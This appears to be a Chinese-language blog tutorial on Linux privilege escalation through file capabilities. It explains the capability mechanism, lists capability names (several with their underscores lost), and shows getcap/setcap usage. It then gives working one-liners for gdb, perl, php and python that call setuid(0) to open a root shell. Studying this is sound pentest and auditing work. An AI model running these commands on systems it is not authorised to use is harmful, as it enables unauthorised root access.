Linux提權(capabilities)
阿新 • • 發佈:2020-10-22
0x00 Capabilities入門
什麼是Capabilities
Linux的Root使用者擁有最高的許可權,可以對幾乎系統中的任何檔案進行操作。然而普通使用者如何操作一些高許可權的檔案?
在Linux中存在兩種方法:
第一種是在執行的命令前加上sudo,這樣就會以Root的身份進行操作。
第二種方法是設定SUID或SGID,這樣雖然會以原使用者的身份進行操作,但是獲得了操作許可權。
SUID和SGID存在安全隱患,因為某檔案設定了之後普通使用者將會獲得廣範圍的操作許可權。
為了避免這種安全隱患,Linux核心 2.2 之後引入了Capabilities機制。什麼是Capabilities機制哪?
原理很簡單,就是將之前與超級使用者 root(UID=0)關聯的特權細分為不同的功能組,Capabilites 作為執行緒(Linux 並不真正區分程序和執行緒)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質上就是將核心呼叫分門別類,具有相似功能的核心呼叫被分到同一組中。
這樣一來,許可權檢查的過程就變成了:在執行特權操作時,如果執行緒的有效身份不是 root,就去檢查其是否具有該特權操作所對應的 capabilities,並以此為依據,決定是否可以執行特權操作。
細分後的特權:
capability名稱 | 描述 |
---|---|
CAPAUDITCONTROL | 啟用和禁用核心審計;改變審計過濾規則;檢索審計狀態和過濾規則 |
CAPAUDITREAD | 允許通過 multicast netlink 套接字讀取審計日誌 |
CAPAUDITWRITE | 將記錄寫入核心審計日誌 |
CAPBLOCKSUSPEND | 使用可以阻止系統掛起的特性 |
CAP_CHOWN | 修改檔案所有者的許可權 |
CAPDACOVERRIDE | 忽略檔案的 DAC 訪問限制 |
CAPDACREAD_SEARCH | 忽略檔案讀及目錄搜尋的 DAC 訪問限制 |
CAP_FOWNER | 忽略檔案屬主 ID 必須和程序使用者 ID 相匹配的限制 |
CAP_FSETID | 允許設定檔案的 setuid 位 |
CAPIPCLOCK | 允許鎖定共享記憶體片段 |
CAPIPCOWNER | 忽略 IPC 所有權檢查 |
CAP_KILL | 允許對不屬於自己的程序傳送訊號 |
CAP_LEASE | 允許修改檔案鎖的 FL_LEASE 標誌 |
CAPLINUXIMMUTABLE | 允許修改檔案的 IMMUTABLE 和 APPEND 屬性標誌 |
CAPMACADMIN | 允許 MAC 配置或狀態更改 |
CAPMACOVERRIDE | 忽略檔案的 DAC 訪問限制 |
CAP_MKNOD | 允許使用 mknod() 系統呼叫 |
CAPNETADMIN | 允許執行網路管理任務 |
CAPNETBIND_SERVICE | 允許繫結到小於 1024 的埠 |
CAPNETBROADCAST | 允許網路廣播和多播訪問 |
CAPNETRAW | 允許使用原始套接字 |
CAP_SETGID | 允許改變程序的 GID |
CAP_SETFCAP | 允許為檔案設定任意的 capabilities |
CAP_SETPCAP | 參考 capabilities man page |
CAP_SETUID | 允許改變程序的 UID |
CAPSYSADMIN | 允許執行系統管理任務,如載入或解除安裝檔案系統、設定磁碟配額等 |
CAPSYSBOOT | 允許重新啟動系統 |
CAPSYSCHROOT | 允許使用 chroot() 系統呼叫 |
CAPSYSMODULE | 允許插入和刪除核心模組 |
CAPSYSNICE | 允許提升優先順序及設定其他程序的優先順序 |
CAPSYSPACCT | 允許執行程序的 BSD 式審計 |
CAPSYSPTRACE | 允許跟蹤任何程序 |
CAPSYSRAWIO | 允許直接訪問 /devport、/dev/mem、/dev/kmem 及原始塊裝置 |
CAPSYSRESOURCE | 忽略資源限制 |
CAPSYSTIME | 允許改變系統時鐘 |
CAPSYSTTY_CONFIG | 允許配置 TTY 裝置 |
CAP_SYSLOG | 允許使用 syslog() 系統呼叫 |
CAPWAKEALARM | 允許觸發一些能喚醒系統的東西(比如 CLOCKBOOTTIMEALARM 計時器) |
Capabilities使用
查詢
getcap [路徑]
## 查詢全部
getcap -r / 2>/dev/null # -r 遞迴查詢 2>/dev/null 錯誤資訊從定向到null
設定
## 多個Capabilities以分號劃分
setcap [Capabilities名稱]=eip [路徑]
## 設定多個案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
設定時路徑要指定原始檔,不可以是連結檔案,如果報錯可以檢視是不是路徑指定的為連結檔案
刪除
setcap -r [路徑]
0x01 提權例項
setuid
通過setuid可以將程序執行使用者設定為root,以達到獲取root許可權效果
gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
## -ex 執行命令
## gdb呼叫python debug除錯;在shell中啟動python的命令為python2,在gdb中也為python
## -nx 不初始化指令碼
-
無
-
有
perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
-
無
-
有
php
php -r "posix_setuid(0); system('/bin/sh');"
出現如下時
需要安裝php-posix
yum install php-posix
## centos中命令
- 無
- 有
python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
- 無
- 有